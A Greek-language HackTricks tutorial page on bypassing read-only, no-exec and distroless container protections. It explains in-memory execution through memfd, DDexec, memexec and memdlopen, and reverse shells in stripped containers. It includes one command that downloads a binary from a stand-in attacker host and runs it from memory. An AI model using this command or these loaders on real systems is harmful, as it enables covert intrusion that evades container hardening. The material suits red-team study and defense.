Bypass FS protections: read-only / no-exec / Distroless

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αν σας ενδιαφέρει η καριέρα στο χάκινγκ και το χάκαρισμα του αχάκαρτου - σας προσλαμβάνουμε! (απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού).

Βίντεο

Στα παρακάτω βίντεο μπορείτε να βρείτε τις τεχνικές που αναφέρονται σε αυτήν τη σελίδα εξηγημένες πιο αναλυτικά:

Σενάριο μόνο για ανάγνωση / χωρίς εκτέλεση

Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές Linux που έχουν τοποθετηθεί με προστασία μόνο για ανάγνωση (ro) του συστήματος αρχείων, ειδικά σε containers. Αυτό συμβαίνει επειδή η εκτέλεση ενός container με ro σύστημα αρχείων είναι τόσο εύκολη όσο η ρύθμιση readOnlyRootFilesystem: true στο securitycontext:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Ωστόσο, ακόμη κι αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το /dev/shm θα παραμείνει εγγράψιμο, οπότε είναι ψεύτικο ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι τοποθετημένος με προστασία χωρίς εκτέλεση, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ δεν θα μπορείτε να το εκτελέσετε.

Από την οπτική γωνία μιας κόκκινης ομάδας, αυτό κάνει πιο περίπλοκο το να κατεβάσετε και να εκτελέσετε δυαδικά που δεν υπάρχουν ήδη στο σύστημα (όπως backdoors ή εργαλεία όπως το kubectl).

Ευκολότερη παράκαμψη: Σενάρια

Σημειώστε ότι ανέφερα δυαδικά, μπορείτε να εκτελέσετε οποιοδήποτε σενάριο όσο το διερμηνέα είναι μέσα στη μηχανή, όπως ένα σενάριο κελύφους αν το sh είναι παρόν ή ένα σενάριο Python αν έχει εγκατασταθεί το python.

Ωστόσο, αυτό δεν είναι αρκετό μόνο για να εκτελέσετε το δυαδικό backdoor σας ή άλλα δυαδικά εργαλεία που ίσως χρειαστεί να τρέξετε.

Παρακάμψεις Μνήμης

Αν θέλετε να εκτελέσετε ένα δυαδικό αλλά το σύστημα αρχείων δεν το επιτρέπει, ο καλύτερος τρόπος να το κάνετε είναι με το να το εκτελέσετε από τη μνήμη, καθώς οι προστασίες δεν ισχύουν εκεί.

Παράκαμψη FD + exec syscall

Αν έχετε ισχυρούς μηχανισμούς σεναρίων μέσα στη μηχανή, όπως Python, Perl ή Ruby, μπορείτε να κατεβάσετε το δυαδικό για εκτέλεση από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (create_memfd syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες, και στη συνέχεια να καλέσετε ένα exec syscall δείχνοντας το fd ως το αρχείο προς εκτέλεση.

Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο fileless-elf-exec. Μπορείτε να του περάσετε ένα δυαδικό και θα δημιουργήσει ένα σενάριο στη γλώσσα που υποδεικνύετε με το δυαδικό συμπιεσμένο και κωδικοποιημένο σε b64 με τις οδηγίες για το αποκωδικοποίηση και αποσυμπίεση του σε ένα fd που δημιουργείται καλώντας το create_memfd syscall και μια κλήση στο exec syscall για να το εκτελέσει.

Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως PHP ή Node επειδή δεν έχουν κανέναν προεπιλεγμένο τρόπο να καλέσουν raw syscalls από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσουν το create_memfd για να δημιουργήσουν το fd μνήμης για να αποθηκεύσουν το δυαδικό.

Επιπλέον, η δημιουργία ενός κανονικού fd με ένα αρχείο στο /dev/shm δεν θα λειτουργήσει, καθώς δεν θα σας επιτραπεί να το εκτελέσετε λόγω της προστασίας χωρίς εκτέλεση που θα εφαρμοστεί.

DDexec / EverythingExec

Το DDexec / EverythingExec είναι μια τεχνική που σάς επιτρέπει να τροποποιήσετε τη μνήμη της δικής σας διεργασίας με το να αντικαταστήσετε το /proc/self/mem της.

Έτσι, ελέγχοντας τον κώδικα συναρμολόγησης που εκτελείται από τη διεργασία, μπορείτε να γράψετε ένα shellcode και "μεταλλάξετε" τη διεργασία για να εκτελέσει οποιοδήποτε αυθαίρετο κώδικα.

Το DDexec / EverythingExec θα σας επιτρέψει να φορτώσετε και να εκτελέσετε το δικό σας shellcode ή οποιοδήποτε δυαδικό από τη μνήμη.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

Memexec είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα DDexec shellcode demonised, οπότε κάθε φορά που θέλετε να εκτελέσετε ένα διαφορετικό δυαδικό αρχείο δεν χρειάζεται να ξαναξεκινήσετε το DDexec, μπορείτε απλά να εκτελέσετε το shellcode του memexec μέσω της τεχνικής DDexec και στη συνέχεια να επικοινωνήσετε με αυτό το δαίμονα για να περάσετε νέα δυαδικά αρχεία για φόρτωση και εκτέλεση.

Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το memexec για να εκτελέσετε δυαδικά αρχεία από ένα αντίστροφο κέλυφος PHP στο https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

Με παρόμοιο σκοπό με το DDexec, η τεχνική memdlopen επιτρέπει έναν ευκολότερο τρόπο φόρτωσης δυαδικών αρχείων στη μνήμη για να τα εκτελέσετε αργότερα. Μπορεί ακόμη να επιτρέψει τη φόρτωση δυαδικών αρχείων με εξαρτήσεις.

Διασπορά Bypass

Τι είναι το distroless

Τα δοχεία distroless περιέχουν μόνο τα απαραίτητα ελάχιστα στοιχεία που απαιτούνται για την εκτέλεση μιας συγκεκριμένης εφαρμογής ή υπηρεσίας, όπως βιβλιοθήκες και εξαρτήσεις χρόνου εκτέλεσης, αλλά εξαιρούν μεγαλύτερα στοιχεία όπως έναν διαχειριστή πακέτων, κέλυφος ή διατηρητές συστήματος.

Ο στόχος των δοχείων distroless είναι να μειώσουν την επιφάνεια επίθεσης των δοχείων εξαλείφοντας τα περιττά στοιχεία και μειώνοντας τον αριθμό των ευπαθειών που μπορούν να εκμεταλλευτούν.

Αντίστροφο Κέλυφος

Σε ένα δοχείο distroless ενδέχεται να μην βρείτε ούτε το sh ούτε το bash για να λάβετε ένα κανονικό κέλυφος. Δεν θα βρείτε επίσης δυαδικά όπως το ls, whoami, id... όλα όσα συνήθως εκτελείτε σε ένα σύστημα.

Συνεπώς, δεν θα μπορέσετε να λάβετε ένα αντίστροφο κέλυφος ή να απαριθμήσετε το σύστημα όπως συνήθως κάνετε.

Ωστόσο, αν το υποβαθμισμένο δοχείο εκτελεί, για παράδειγμα, έναν ιστό flask, τότε το python είναι εγκατεστημένο, και μπορείτε να αποκτήσετε ένα αντίστροφο κέλυφος Python. Αν εκτελείτε node, μπορείτε να αποκτήσετε ένα Node αντίστροφο κέλυφος, και το ίδιο με σχεδόν οποιαδήποτε γλώσσα σεναρίωσης.

Χρησιμοποιώντας τη γλώσσα σεναρίωσης μπορείτε να απαριθμήσετε το σύστημα χρησιμοποιώντας τις δυνατότητες της γλώσσας.

Αν δεν υπάρχουν προστασίες μόνο για ανάγνωση/χωρίς εκτέλεση μπορείτε να καταχραστείτε το αντίστροφο κέλυφος σας για εγγραφή στο σύστημα αρχείων των δυαδικών σας και να τα εκτελέσετε.

Ωστόσο, σε αυτού του είδους τα δοχεία αυτές οι προστασίες συνήθως υπάρχουν, αλλά μπορείτε να χρησιμοποιήσετε τις προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε.

Μπορείτε να βρείτε παραδείγματα για το εκμετάλλευση ορισμένων ευπαθειών RCE για να λάβετε αντίστροφα κέλυφα γλωσσών σεναρίωσης και να εκτελέσετε δυαδικά από τη μνήμη στο https://github.com/carlospolop/DistrolessRCE.

Last updated